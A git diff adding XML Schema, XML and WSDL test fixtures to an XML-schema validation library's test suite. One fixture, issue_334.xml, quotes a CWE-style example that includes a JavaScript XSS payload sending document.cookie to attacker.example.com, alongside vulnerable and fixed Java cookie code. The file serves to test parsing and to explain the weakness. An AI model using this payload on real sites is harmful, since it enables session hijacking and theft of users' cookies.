+<!-- + A valid schema for testing custom imports with schema location hints. + --> +<xs:schema + xmlns:xs="http://www.w3.org/2001/XMLSchema" + xmlns="http://xmlschema.test/other-ns" + targetNamespace="http://xmlschema.test/other-ns"> + + <xs:simpleType name="bType"> + <xs:restriction base="xs:string"/> + </xs:simpleType> + +</xs:schema> + diff --git a/tests/test_cases/features/namespaces/import-case5c.xsd b/tests/test_cases/features/namespaces/import-case5c.xsd new file mode 100644 index 0000000..65eaa22 --- /dev/null +++ b/tests/test_cases/features/namespaces/import-case5c.xsd @@ -0,0 +1,15 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + A valid schema for testing custom imports with schema location hints. + --> +<xs:schema + xmlns:xs="http://www.w3.org/2001/XMLSchema" + xmlns="http://xmlschema.test/other-ns2" + targetNamespace="http://xmlschema.test/other-ns2"> + + <xs:simpleType name="bType"> + <xs:restriction base="xs:string"/> + </xs:simpleType> + +</xs:schema> + diff --git a/tests/test_cases/features/namespaces/include-case7.xsd b/tests/test_cases/features/namespaces/include-case7.xsd new file mode 100644 index 0000000..2d32025 --- /dev/null +++ b/tests/test_cases/features/namespaces/include-case7.xsd @@ -0,0 +1,13 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + An invalid include from a schema that declares the same elements. + --> +<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + + <xs:include schemaLocation="included7-overlap.xsd"/> + + <xs:element name="elem1" /> + <xs:element name="elem2" /> + +</xs:schema> + diff --git a/tests/test_cases/features/namespaces/include-case8.xsd b/tests/test_cases/features/namespaces/include-case8.xsd new file mode 100644 index 0000000..72cfccf --- /dev/null +++ b/tests/test_cases/features/namespaces/include-case8.xsd @@ -0,0 +1,16 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + An include from a schema that redefines the same initial schema. + Consider this schema composition valid, mainly because loading + from the included schema that redefine this is certainly valid. + --> +<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + + <xs:include schemaLocation="included8-redefine.xsd"/> + + <xs:simpleType name="aType"> + <xs:restriction base="xs:string"/> + </xs:simpleType> + +</xs:schema> + diff --git a/tests/test_cases/features/namespaces/included7-overlap.xsd b/tests/test_cases/features/namespaces/included7-overlap.xsd new file mode 100644 index 0000000..44c7496 --- /dev/null +++ b/tests/test_cases/features/namespaces/included7-overlap.xsd @@ -0,0 +1,6 @@ +<?xml version="1.0" encoding="utf-8"?> +<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:element name="elem1" /> + <xs:element name="elem3" /> +</xs:schema> + diff --git a/tests/test_cases/features/namespaces/included8-redefine.xsd b/tests/test_cases/features/namespaces/included8-redefine.xsd new file mode 100644 index 0000000..51dae9d --- /dev/null +++ b/tests/test_cases/features/namespaces/included8-redefine.xsd @@ -0,0 +1,14 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + An invalid include from a schema that redefine the same initial schema. + --> +<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + + <xs:redefine schemaLocation="include-case8.xsd"> + <xs:simpleType name="aType"> + <xs:restriction base="aType"/> + </xs:simpleType> + </xs:redefine> + +</xs:schema> + diff --git a/tests/test_cases/features/wsdl/wsdl11_example3.wsdl b/tests/test_cases/features/wsdl/wsdl11_example3.wsdl index 5468a3a..500c25e 100644 --- a/tests/test_cases/features/wsdl/wsdl11_example3.wsdl +++ b/tests/test_cases/features/wsdl/wsdl11_example3.wsdl @@ -3,7 +3,7 @@ Original example #3 from WSDL 1.1 definition with SOAP 1.1 bindings: href: https://www.w3.org/TR/2001/NOTE-wsdl-20010315#_soap-e -Thi version contains a typo in <binding> definition +This case contains a typo in <binding> definition --> <definitions name="StockQuote" targetNamespace="http://example.com/stockquote.wsdl" diff --git a/tests/test_cases/features/wsdl/wsdl11_example3_no_types.wsdl b/tests/test_cases/features/wsdl/wsdl11_example3_no_types.wsdl new file mode 100644 index 0000000..ab03cd3 --- /dev/null +++ b/tests/test_cases/features/wsdl/wsdl11_example3_no_types.wsdl @@ -0,0 +1,39 @@ +<?xml version="1.0"?> +<!-- +Example #3 from WSDL 1.1 definition with SOAP 1.1 bindings: + href: https://www.w3.org/TR/2001/NOTE-wsdl-20010315#_soap-e +--> +<definitions name="StockQuote" + targetNamespace="http://example.com/stockquote.wsdl" + xmlns:tns="http://example.com/stockquote.wsdl" + xmlns:xsd1="http://example.com/stockquote.xsd" + xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" + xmlns="http://schemas.xmlsoap.org/wsdl/"> + + <message name="SubscribeToQuotes"> + <part name="body" element="xsd1:SubscribeToQuotes"/> + <part name="subscribeheader" element="xsd1:SubscriptionHeader"/> + </message> + + <portType name="StockQuotePortType"> + <operation name="SubscribeToQuotes"> + <input message="tns:SubscribeToQuotes"/> + </operation> + </portType> + + <binding name="StockQuoteSoap" type="tns:StockQuotePortType"> + <soap:binding style="document" transport="http://example.com/smtp"/> + <operation name="SubscribeToQuotes"> + <input> + <soap:body parts="body" use="literal"/> + <soap:header message="tns:SubscribeToQuotes" part="subscribeheader" use="literal"/> + </input> + </operation> + </binding> + + <service name="StockQuoteService"> + <port name="StockQuotePort" binding="tns:StockQuoteSoap"> + <soap:address location="mailto:subscribe@example.com"/> + </port> + </service> +</definitions> \ No newline at end of file diff --git a/tests/test_cases/features/wsdl/wsdl11_example3_types.xsd b/tests/test_cases/features/wsdl/wsdl11_example3_types.xsd new file mode 100644 index 0000000..9e560b0 --- /dev/null +++ b/tests/test_cases/features/wsdl/wsdl11_example3_types.xsd @@ -0,0 +1,12 @@ +<?xml version="1.0"?> +<schema targetNamespace="http://example.com/stockquote.xsd" + xmlns="http://www.w3.org/2001/XMLSchema"> + <element name="SubscribeToQuotes"> + <complexType> + <all> + <element name="tickerSymbol" type="string"/> + </all> + </complexType> + </element> + <element name="SubscriptionHeader" type="anyURI"/> +</schema> diff --git a/tests/test_cases/issues/issue_298/issue_298-1.xml b/tests/test_cases/issues/issue_298/issue_298-1.xml new file mode 100644 index 0000000..43a34e2 --- /dev/null +++ b/tests/test_cases/issues/issue_298/issue_298-1.xml @@ -0,0 +1,5 @@ +<tns:Root xmlns:tns="http://xmlschema.test/ns"> + <Container> + <Freeform /> + </Container> +</tns:Root> diff --git a/tests/test_cases/issues/issue_298/issue_298-2.xml b/tests/test_cases/issues/issue_298/issue_298-2.xml new file mode 100644 index 0000000..5205279 --- /dev/null +++ b/tests/test_cases/issues/issue_298/issue_298-2.xml @@ -0,0 +1,8 @@ +<?xml version="1.0" encoding="UTF-8"?> +<tns:Root xmlns:tns="http://xmlschema.test/ns" xmlns:zz="http://xmlschema.test/ns2"> + <Container> + <Freeform> + <zz:ForeignSchema/> + </Freeform> + </Container> +</tns:Root> diff --git a/tests/test_cases/issues/issue_298/issue_298.xsd b/tests/test_cases/issues/issue_298/issue_298.xsd new file mode 100644 index 0000000..5a5de62 --- /dev/null +++ b/tests/test_cases/issues/issue_298/issue_298.xsd @@ -0,0 +1,22 @@ +<?xml version="1.0" encoding="UTF-8"?> +<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" + xmlns:tns="http://xmlschema.test/ns" + targetNamespace="http://xmlschema.test/ns"> + <xs:element name="Root"> + <xs:complexType> + <xs:sequence> + <xs:element name="Container" type="tns:container"/> + </xs:sequence> + </xs:complexType> + </xs:element> + <xs:complexType name="container"> + <xs:sequence> + <xs:element name="Freeform" type="tns:freeform"/> + </xs:sequence> + </xs:complexType> + <xs:complexType name="freeform" mixed="true"> + <xs:sequence minOccurs="0" maxOccurs="unbounded"> + <xs:any processContents="lax"/> + </xs:sequence> + </xs:complexType> +</xs:schema> \ No newline at end of file diff --git a/tests/test_cases/issues/issue_306/issue_306-alt.xsd b/tests/test_cases/issues/issue_306/issue_306-alt.xsd new file mode 100644 index 0000000..6c4d27a --- /dev/null +++ b/tests/test_cases/issues/issue_306/issue_306-alt.xsd @@ -0,0 +1,19 @@ +<?xml version="1.0" encoding="UTF-8" ?> +<!-- This is a valid schema, no UPA violation because overlapping elements are univocal. --> +<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:element name="Document"> + <xs:complexType> + <xs:sequence> + <xs:element name="shipto"> + <xs:complexType> + <xs:sequence> + <xs:element minOccurs="0" maxOccurs="0" name="name" type="xs:string"/> + <xs:element minOccurs="0" maxOccurs="0" name="name" type="xs:string"/> + <xs:element minOccurs="0" maxOccurs="1" name="address" type="xs:string"/> + </xs:sequence> + </xs:complexType> + </xs:element> + </xs:sequence> + </xs:complexType> + </xs:element> +</xs:schema> \ No newline at end of file diff --git a/tests/test_cases/issues/issue_306/issue_306-invalid.xml b/tests/test_cases/issues/issue_306/issue_306-invalid.xml new file mode 100644 index 0000000..e64bf51 --- /dev/null +++ b/tests/test_cases/issues/issue_306/issue_306-invalid.xml @@ -0,0 +1,7 @@ +<Document xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:noNamespaceSchemaLocation="issue_306.xsd"> + <shipto> + <name>Bob</name> + <address>Bob</address> + </shipto> +</Document> \ No newline at end of file diff --git a/tests/test_cases/issues/issue_306/issue_306-valid.xml b/tests/test_cases/issues/issue_306/issue_306-valid.xml new file mode 100644 index 0000000..b7b92d3 --- /dev/null +++ b/tests/test_cases/issues/issue_306/issue_306-valid.xml @@ -0,0 +1,6 @@ +<Document xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:noNamespaceSchemaLocation="issue_306.xsd"> + <shipto> + <address>Bob</address> + </shipto> +</Document> \ No newline at end of file diff --git a/tests/test_cases/issues/issue_306/issue_306.xsd b/tests/test_cases/issues/issue_306/issue_306.xsd new file mode 100644 index 0000000..06c2bd5 --- /dev/null +++ b/tests/test_cases/issues/issue_306/issue_306.xsd @@ -0,0 +1,17 @@ +<?xml version="1.0" encoding="UTF-8" ?> +<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:element name="Document"> + <xs:complexType> + <xs:sequence> + <xs:element name="shipto"> + <xs:complexType> + <xs:sequence> + <xs:element minOccurs="0" maxOccurs="0" name="name" type="xs:string"/> + <xs:element minOccurs="0" maxOccurs="1" name="address" type="xs:string"/> + </xs:sequence> + </xs:complexType> + </xs:element> + </xs:sequence> + </xs:complexType> + </xs:element> +</xs:schema> \ No newline at end of file diff --git a/tests/test_cases/issues/issue_311/correct_no_list.xml b/tests/test_cases/issues/issue_311/correct_no_list.xml new file mode 100644 index 0000000..1f67cd3 --- /dev/null +++ b/tests/test_cases/issues/issue_311/correct_no_list.xml @@ -0,0 +1,15 @@ +<ns0:kPartModel xmlns:ns0="http://www.ludd21.com/kPartModel" modelName="manysingulars" otherattribute=""> + <ns0:kPartsPiece pieceName="pieceknit_layer1"> + <ns0:kPartsList> + <ns0:castOnPartSeg nextsnum="1" partNumber="0"> + <ns0:baseSeg start="9.73143 0.00000" end="17.73188 0.00000" /> + </ns0:castOnPartSeg> + <ns0:joinPart nextsnum="3" previousnum="0 " partNumber="1" > + <ns0:baseSeg start="9.88173 -11.82912" end="25.27907 -11.82912" /> + </ns0:joinPart> + <ns0:joinPart nextsnum="1" previousnum="0" partNumber="3"> + <ns0:baseSeg start="9.98452 -19.91844" end="56.48310 -19.91844" /> + </ns0:joinPart> + </ns0:kPartsList> + </ns0:kPartsPiece> +</ns0:kPartModel> \ No newline at end of file diff --git a/tests/test_cases/issues/issue_311/incorrect_with_list.xml b/tests/test_cases/issues/issue_311/incorrect_with_list.xml new file mode 100644 index 0000000..9c75ae5 --- /dev/null +++ b/tests/test_cases/issues/issue_311/incorrect_with_list.xml @@ -0,0 +1,15 @@ +<ns0:kPartModel xmlns:ns0="http://www.ludd21.com/kPartModel" modelName="manysingulars" otherattribute=""> + <ns0:kPartsPiece pieceName="pieceknit_layer1"> + <ns0:kPartsList> + <ns0:castOnPartSeg nextsnum="1 3" partNumber="0"> + <ns0:baseSeg start="9.73143 0.00000" end="17.73188 0.00000" /> + </ns0:castOnPartSeg> + <ns0:joinPart nextsnum="3" previousnum="0 " partNumber="1" > + <ns0:baseSeg start="9.88173 -11.82912" end="25.27907 -11.82912" /> + </ns0:joinPart> + <ns0:joinPart nextsnum="1" previousnum="0" partNumber="3"> + <ns0:baseSeg start="9.98452 -19.91844" end="56.48310 -19.91844" /> + </ns0:joinPart> + </ns0:kPartsList> + </ns0:kPartsPiece> +</ns0:kPartModel> \ No newline at end of file diff --git a/tests/test_cases/issues/issue_311/kPartModel_reduit_issue.xsd b/tests/test_cases/issues/issue_311/kPartModel_reduit_issue.xsd new file mode 100644 index 0000000..1d0b406 --- /dev/null +++ b/tests/test_cases/issues/issue_311/kPartModel_reduit_issue.xsd @@ -0,0 +1,122 @@ +<?xml version="1.1" encoding="UTF-8"?> +<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" +targetNamespace = "http://www.ludd21.com/kPartModel" +xmlns = "http://www.ludd21.com/kPartModel" +elementFormDefault="qualified" +vc:minVersion = "1.1" +xpathDefaultNamespace="##targetNamespace" +xmlns:vc="http://www.w3.org/2007/XMLSchema-versioning" +> + +<xs:element name="kPartModel"> + <xs:complexType> + <xs:sequence> + <xs:element ref="kPartsPiece" minOccurs="1" maxOccurs = "unbounded"/> + </xs:sequence> + <xs:attribute name="modelName" type="xs:NCName" use = "required"/> + <xs:attribute name= "otherattribute" type="xs:string" default = ""/> + </xs:complexType> + + <!--piecename must be unique within kpModel--> + <xs:unique name= "kPartModel"> + <xs:selector xpath="*"/> + <xs:field xpath= "@pieceName"/> + </xs:unique> +</xs:element> + +<xs:element name="kPartsPiece"> + <xs:complexType> + <xs:sequence> + <xs:element ref= "kPartsList"/> + </xs:sequence> + <xs:attribute name="pieceName" type="xs:NCName"/> + <!-- nextsnum must contain valid partNumbers --> + <xs:assert id = "test-previous" test = "every $x in data(kPartsList/*/@previousnum) satisfies some $part in kPartsList/* satisfies $part/@partNumber = $x"/> + <xs:assert id = "test-nexts" test = "every $x in data(kPartsList/*/@nextsnum) satisfies some $part in kPartsList/* satisfies $part/@partNumber = $x"/> + </xs:complexType> + <!-- @partNumber is unique across kPartsList --> + <xs:unique id = "unique-partNumber" name= "kPartsList"> + <xs:selector xpath="*/*"/> + <xs:field xpath= "@partNumber"/> + </xs:unique> +</xs:element> + +<xs:element name = "kPartsList" > + <xs:complexType> + <xs:sequence> + <xs:choice minOccurs= "0" maxOccurs = "unbounded"> + <xs:element ref = "castOnPartSeg" /> + <xs:element ref = "castOnPartPoint" /> + <xs:element ref = "joinPart"/> + </xs:choice> + </xs:sequence> + </xs:complexType> + </xs:element> + +<xs:element name="castOnPartPoint"> + <xs:complexType> + <xs:sequence> + <xs:element ref ="basePoint"/> + </xs:sequence> + <xs:attribute name ="nextsnum" type = "kpRefsList" use = "required"/> + <xs:attribute name = "partNumber" type = "xs:nonNegativeInteger" use = "required"/> + </xs:complexType> +</xs:element> + +<xs:element name="castOnPartSeg"> + <xs:complexType> + <xs:sequence> + <xs:element ref ="baseSeg"/> + </xs:sequence> + <xs:attribute name = "nextsnum" type = "kpRefsList" use = "required"/> + <xs:attribute name = "partNumber" type = "xs:nonNegativeInteger" use = "required"/> + </xs:complexType> +</xs:element> + +<xs:element name="joinPart"> + <xs:complexType> + <xs:sequence> + <xs:element ref ="baseSeg"/> + </xs:sequence> + <xs:attribute name ="nextsnum" type = "kpRefsList" use = "required"/> + <xs:attribute name ="previousnum" type = "kpRefsList" use = "required"/> + <xs:attribute name = "partNumber" type = "xs:nonNegativeInteger" use = "required"/> + </xs:complexType> +</xs:element> + +<xs:simpleType name = "kpRefsList"> + <xs:list itemType= "xs:nonNegativeInteger"/> +</xs:simpleType> + +<xs:element name = "basePoint"> + <xs:complexType> + <xs:attribute name= "start" type = "point" use = "required"/> + </xs:complexType> +</xs:element> + + +<xs:element name = "baseSeg"> + <xs:complexType> + <xs:attribute name= "start" type = "point" use = "required"/> + <xs:attribute name= "end" type = "point" use = "required"/> + <!--<xs:assert id = "test_base_horizontal" test = "@start[1] = @end[1]"/> --> + </xs:complexType> +</xs:element> + + +<xs:simpleType name= "point"> + <xs:restriction> + <xs:simpleType> + <xs:list itemType = "decimal5digits"/> + </xs:simpleType> + <xs:length value = "2"/> + </xs:restriction> +</xs:simpleType> + +<xs:simpleType name ="decimal5digits"> + <xs:restriction base = "xs:decimal"> + <xs:fractionDigits value="5"/> + </xs:restriction> +</xs:simpleType> + +</xs:schema> \ No newline at end of file diff --git a/tests/test_cases/issues/issue_314/issue_314.xml b/tests/test_cases/issues/issue_314/issue_314.xml new file mode 100644 index 0000000..d58385e --- /dev/null +++ b/tests/test_cases/issues/issue_314/issue_314.xml @@ -0,0 +1,6 @@ +<?xml version="1.0" encoding="UTF-8" standalone="yes"?> +<p:root-element xmlns:p="my_namespace" xmlns:b="http://www.w3.org/2001/XMLSchema-instance"> + <p:container> + <p:item b:type="p:ConcreteContainterItemInfo" attr_2="value_2"/> + </p:container> +</p:root-element> \ No newline at end of file diff --git a/tests/test_cases/issues/issue_314/issue_314.xsd b/tests/test_cases/issues/issue_314/issue_314.xsd new file mode 100644 index 0000000..b277099 --- /dev/null +++ b/tests/test_cases/issues/issue_314/issue_314.xsd @@ -0,0 +1,38 @@ +<?xml version="1.0" encoding="UTF-8"?> +<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" + xmlns="my_namespace" + targetNamespace="my_namespace" + elementFormDefault="qualified" + attributeFormDefault="unqualified"> + + <xs:complexType name="ContainterItemInfo"> + </xs:complexType> + + <xs:complexType name="ConcreteContainterItemInfo"> + <xs:complexContent> + <xs:extension base="ContainterItemInfo"> + <xs:attribute name="attr_2" type="xs:string" use="required"/> + </xs:extension> + </xs:complexContent> + </xs:complexType> + + <xs:complexType name="ContainerInfo"> + <xs:complexContent> + <xs:extension base="ContainterItemInfo"> + <xs:sequence> + <xs:element name="item" type="ContainterItemInfo" minOccurs="0" maxOccurs="unbounded"/> + </xs:sequence> + </xs:extension> + </xs:complexContent> + </xs:complexType> + + <xs:complexType name="RootElementInfo"> + <xs:sequence> + <xs:element name="container" type="ContainerInfo"/> + </xs:sequence> + </xs:complexType> + + <xs:element name="root-element" type="RootElementInfo"> + </xs:element> + +</xs:schema> \ No newline at end of file diff --git a/tests/test_cases/issues/issue_315/issue_315-1.xml b/tests/test_cases/issues/issue_315/issue_315-1.xml new file mode 100644 index 0000000..8b68b0b --- /dev/null +++ b/tests/test_cases/issues/issue_315/issue_315-1.xml @@ -0,0 +1 @@ +<tst:e1 xmlns:tst="http://xmlschema.test/ns" a1="foo">bar</tst:e1> \ No newline at end of file diff --git a/tests/test_cases/issues/issue_315/issue_315-2.xml b/tests/test_cases/issues/issue_315/issue_315-2.xml new file mode 100644 index 0000000..276160b --- /dev/null +++ b/tests/test_cases/issues/issue_315/issue_315-2.xml @@ -0,0 +1 @@ +<tst:e1 xmlns:tst="http://xmlschema.test/ns" a1="foo"></tst:e1> \ No newline at end of file diff --git a/tests/test_cases/issues/issue_315/issue_315-3.xml b/tests/test_cases/issues/issue_315/issue_315-3.xml new file mode 100644 index 0000000..eac2651 --- /dev/null +++ b/tests/test_cases/issues/issue_315/issue_315-3.xml @@ -0,0 +1 @@ +<tst:e1 xmlns:tst="http://xmlschema.test/ns" a1="foo">bar<e2/></tst:e1> \ No newline at end of file diff --git a/tests/test_cases/issues/issue_315/issue_315-4.xml b/tests/test_cases/issues/issue_315/issue_315-4.xml new file mode 100644 index 0000000..387bfcc --- /dev/null +++ b/tests/test_cases/issues/issue_315/issue_315-4.xml @@ -0,0 +1 @@ +<tst:e1 xmlns:tst="http://xmlschema.test/ns" a1="foo"><e2/>bar<e2/></tst:e1> \ No newline at end of file diff --git a/tests/test_cases/issues/issue_315/issue_315-5.xml b/tests/test_cases/issues/issue_315/issue_315-5.xml new file mode 100644 index 0000000..4c2d3d5 --- /dev/null +++ b/tests/test_cases/issues/issue_315/issue_315-5.xml @@ -0,0 +1 @@ +<tst:e1 xmlns:tst="http://xmlschema.test/ns" a1="foo"><e2/>bar</tst:e1> \ No newline at end of file diff --git a/tests/test_cases/issues/issue_315/issue_315_mixed.xsd b/tests/test_cases/issues/issue_315/issue_315_mixed.xsd new file mode 100644 index 0000000..e1ee3c0 --- /dev/null +++ b/tests/test_cases/issues/issue_315/issue_315_mixed.xsd @@ -0,0 +1,16 @@ +<?xml version="1.0" encoding="UTF-8"?> +<xs:schema targetNamespace="http://xmlschema.test/ns" + xmlns:tst="http://xmlschema.test/ns" + xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:element name="e1" type="tst:t1"/> + <xs:complexType name="t1"> + <xs:complexContent mixed="true"> + <xs:restriction base="xs:anyType"> + <xs:choice minOccurs="0" maxOccurs="unbounded"> + <xs:element name="e2" type="xs:string"/> + </xs:choice> + <xs:attribute type="xs:string" name="a1"/> + </xs:restriction> + </xs:complexContent> + </xs:complexType> +</xs:schema> \ No newline at end of file diff --git a/tests/test_cases/issues/issue_315/issue_315_simple.xsd b/tests/test_cases/issues/issue_315/issue_315_simple.xsd new file mode 100644 index 0000000..c840833 --- /dev/null +++ b/tests/test_cases/issues/issue_315/issue_315_simple.xsd @@ -0,0 +1,13 @@ +<?xml version="1.0" encoding="UTF-8"?> +<xs:schema targetNamespace="http://xmlschema.test/ns" + xmlns:tst="http://xmlschema.test/ns" + xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:element name="e1" type="tst:t1"/> + <xs:complexType name="t1"> + <xs:simpleContent> + <xs:extension base="xs:string"> + <xs:attribute type="xs:string" name="a1"/> + </xs:extension> + </xs:simpleContent> + </xs:complexType> +</xs:schema> \ No newline at end of file diff --git a/tests/test_cases/issues/issue_322/issue_322.xml b/tests/test_cases/issues/issue_322/issue_322.xml new file mode 100644 index 0000000..3795fb4 --- /dev/null +++ b/tests/test_cases/issues/issue_322/issue_322.xml @@ -0,0 +1,5 @@ +<?xml version="1.0" encoding="UTF-8"?> +<note xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> + <emptystring/> + <nillstring xsi:nil="true"/> +</note> \ No newline at end of file diff --git a/tests/test_cases/issues/issue_322/issue_322.xsd b/tests/test_cases/issues/issue_322/issue_322.xsd new file mode 100644 index 0000000..739c5fe --- /dev/null +++ b/tests/test_cases/issues/issue_322/issue_322.xsd @@ -0,0 +1,11 @@ +<?xml version="1.0"?> +<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> + <xs:element name="note"> + <xs:complexType> + <xs:sequence> + <xs:element name="emptystring" type="xs:string"/> + <xs:element name="nillstring" type="xs:string" nillable="true"/> + </xs:sequence> + </xs:complexType> + </xs:element> +</xs:schema> \ No newline at end of file diff --git a/tests/test_cases/issues/issue_324/issue_324-invalid.xml b/tests/test_cases/issues/issue_324/issue_324-invalid.xml new file mode 100644 index 0000000..d0113da --- /dev/null +++ b/tests/test_cases/issues/issue_324/issue_324-invalid.xml @@ -0,0 +1,9 @@ +<?xml version="1.0" encoding="UTF-8"?> +<tns1:root + xmlns:tns1="http://xmlschema.test/ns" + xmlns:tns2="http://xmlschema.test/wrong-ns" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://xmlschema.test/ns issue_324a.xsd http://xmlschema.test/wrong-ns issue_324b.xsd"> + <notes>foo</notes> + <tns2:value>10</tns2:value> +</tns1:root> \ No newline at end of file diff --git a/tests/test_cases/issues/issue_324/issue_324-valid.xml b/tests/test_cases/issues/issue_324/issue_324-valid.xml new file mode 100644 index 0000000..3e0dd10 --- /dev/null +++ b/tests/test_cases/issues/issue_324/issue_324-valid.xml @@ -0,0 +1,9 @@ +<?xml version="1.0" encoding="UTF-8"?> +<tns1:root + xmlns:tns1="http://xmlschema.test/ns" + xmlns:tns2="http://xmlschema.test/other-ns" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://xmlschema.test/ns issue_324a.xsd http://xmlschema.test/other-ns issue_324b.xsd"> + <notes>foo</notes> + <tns2:value>10</tns2:value> +</tns1:root> \ No newline at end of file diff --git a/tests/test_cases/issues/issue_324/issue_324a.xsd b/tests/test_cases/issues/issue_324/issue_324a.xsd new file mode 100644 index 0000000..c0cb019 --- /dev/null +++ b/tests/test_cases/issues/issue_324/issue_324a.xsd @@ -0,0 +1,14 @@ +<?xml version="1.0"?> +<xs:schema + xmlns:xs="http://www.w3.org/2001/XMLSchema" + targetNamespace="http://xmlschema.test/ns"> + <xs:element name="root"> + <xs:complexType> + <xs:sequence> + <xs:element name="notes" type="xs:string"/> + <xs:any/> + </xs:sequence> + </xs:complexType> + </xs:element> + <xs:element name="label" type="xs:string"/> +</xs:schema> \ No newline at end of file diff --git a/tests/test_cases/issues/issue_324/issue_324b.xsd b/tests/test_cases/issues/issue_324/issue_324b.xsd new file mode 100644 index 0000000..b03115a --- /dev/null +++ b/tests/test_cases/issues/issue_324/issue_324b.xsd @@ -0,0 +1,6 @@ +<?xml version="1.0"?> +<xs:schema + xmlns:xs="http://www.w3.org/2001/XMLSchema" + targetNamespace="http://xmlschema.test/other-ns"> + <xs:element name="value" type="xs:int"/> +</xs:schema> \ No newline at end of file diff --git a/tests/test_cases/issues/issue_334/issue_334.xml b/tests/test_cases/issues/issue_334/issue_334.xml new file mode 100644 index 0000000..7f5555a --- /dev/null +++ b/tests/test_cases/issues/issue_334/issue_334.xml @@ -0,0 +1,18 @@ +<Demonstrative_Examples xmlns="http://xmlschema.test/ns" xmlns:xhtml="http://www.w3.org/1999/xhtml"> + <Demonstrative_Example> + <Intro_Text>In this example, a cookie is used to store a session ID for a client's interaction with a website. The intention is that the cookie will be sent to the website with each request made by the client.</Intro_Text> + <Body_Text>The snippet of code below establishes a new cookie to hold the sessionID.</Body_Text> + <Example_Code Nature="Bad" Language="Java"> + <xhtml:div>String sessionID = generateSessionId();<xhtml:br/>Cookie c = new Cookie("session_id", sessionID);<xhtml:br/>response.addCookie(c);</xhtml:div> + </Example_Code> + <Body_Text>The HttpOnly flag is not set for the cookie. An attacker who can perform XSS could insert malicious script such as:</Body_Text> + <Example_Code Nature="Attack" Language="JavaScript"> + <xhtml:div>document.write('<img src="http://attacker.example.com/collect-cookies?cookie=' + document.cookie . '">'</xhtml:div> + </Example_Code> + <Body_Text>When the client loads and executes this script, it makes a request to the attacker-controlled web site. The attacker can then log the request and steal the cookie.</Body_Text> + <Body_Text>To mitigate the risk, use the setHttpOnly(true) method.</Body_Text> + <Example_Code Nature="Good" Language="Java"> + <xhtml:div>String sessionID = generateSessionId();<xhtml:br/>Cookie c = new Cookie("session_id", sessionID);<xhtml:br/>c.setHttpOnly(true);<xhtml:br/>response.addCookie(c);</xhtml:div> + </Example_Code> + </Demonstrative_Example> + </Demonstrative_Examples> \ No newline at end of file diff --git a/tests/test_cases/issues/issue_334/issue_334.xsd b/tests/test_cases/issues/issue_334/issue_334.xsd new file mode 100644 index 0000000..f667517 --- /dev/null +++ b/tests/test_cases/issues/issue_334/issue_334.xsd @@ -0,0 +1,73 @@ +<?xml version="1.0"?> +<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" + xmlns:cwe="http://xmlschema.test/ns" + targetNamespace="http://xmlschema.test/ns" + elementFormDefault="qualified"> + <!-- From https://github.com/sissaschool/xmlschema/issues/334 --> + <xs:element name="Demonstrative_Examples" type="cwe:DemonstrativeExamplesType"/> + + <!-- =============================================== --> + <!-- Types from CWE XSD schema with some adaptations --> + <!-- =============================================== --> + <xs:complexType name="StructuredTextType" mixed="true"> + <xs:annotation> + <xs:documentation>The StructuredTextType complex type is used to allow XHTML content embedded within standard string data. Some common elements are: <BR/> to insert a line break, <UL><LI/></UL> to create a bulleted list, <OL><LI/></OL> to create a numbered list, and <DIV style="margin-left: 40px"></DIV> to create a new indented section.</xs:documentation> + </xs:annotation> + <xs:sequence> + <xs:any namespace="http://www.w3.org/1999/xhtml" minOccurs="0" maxOccurs="unbounded" processContents="strict"/> + </xs:sequence> + </xs:complexType> + + <xs:complexType name="StructuredCodeType" mixed="true"> + <xs:annotation> + <xs:documentation>The StructuredCodeType complex type is used to present source code examples and other structured text that is not a regular paragraph. It allows embedded XHTML content to enable formatting of the code. The required Nature attribute states what type of code the example shows. The optional Language attribute states which source code language is used in the example. This is mostly appropriate when the Nature is "good" or "bad".</xs:documentation> + </xs:annotation> + <xs:sequence> + <xs:any namespace="http://www.w3.org/1999/xhtml" minOccurs="0" maxOccurs="unbounded" processContents="strict"/> + </xs:sequence> + <xs:attribute name="Language" type="xs:string"/> + <xs:attribute name="Nature" type="xs:string" use="required"></xs:attribute> + </xs:complexType> + + <xs:complexType name="ReferencesType"> + <xs:annotation> + <xs:documentation>The ReferencesType complex type contains one or more reference elements, each of which is used to link to an external reference defined within the catalog. The required External_Reference_ID attribute represents the external reference entry being linked to (e.g., REF-1). Text or quotes within the same CWE entity can cite this External_Reference_ID similar to how a footnote is used, and should use the format [REF-1]. The optional Section attribute holds any section title or page number that is specific to this use of the reference.</xs:documentation> + </xs:annotation> + <xs:sequence> + <xs:element name="Reference" minOccurs="1" maxOccurs="unbounded"> + <xs:complexType> + <xs:attribute name="External_Reference_ID" type="xs:string" use="required"/> + <xs:attribute name="Section" type="xs:string"/> + </xs:complexType> + </xs:element> + </xs:sequence> + </xs:complexType> + <!-- =============================================== --> + <!-- =============================================== --> + <!-- =============================================== --> + + <xs:complexType name="DemonstrativeExamplesType"> + <xs:annotation> + <xs:documentation>The DemonstrativeExamplesType complex type contains one or more Demonstrative_Example elements, each of which contains an example illustrating how a weakness may look in actual code. The optional Title_Text element provides a title for the example. The Intro_Text element describes the context and setting in which this code should be viewed, summarizing what the code is attempting to do. The Body_Text and Example_Code elements are a mixture of code and explanatory 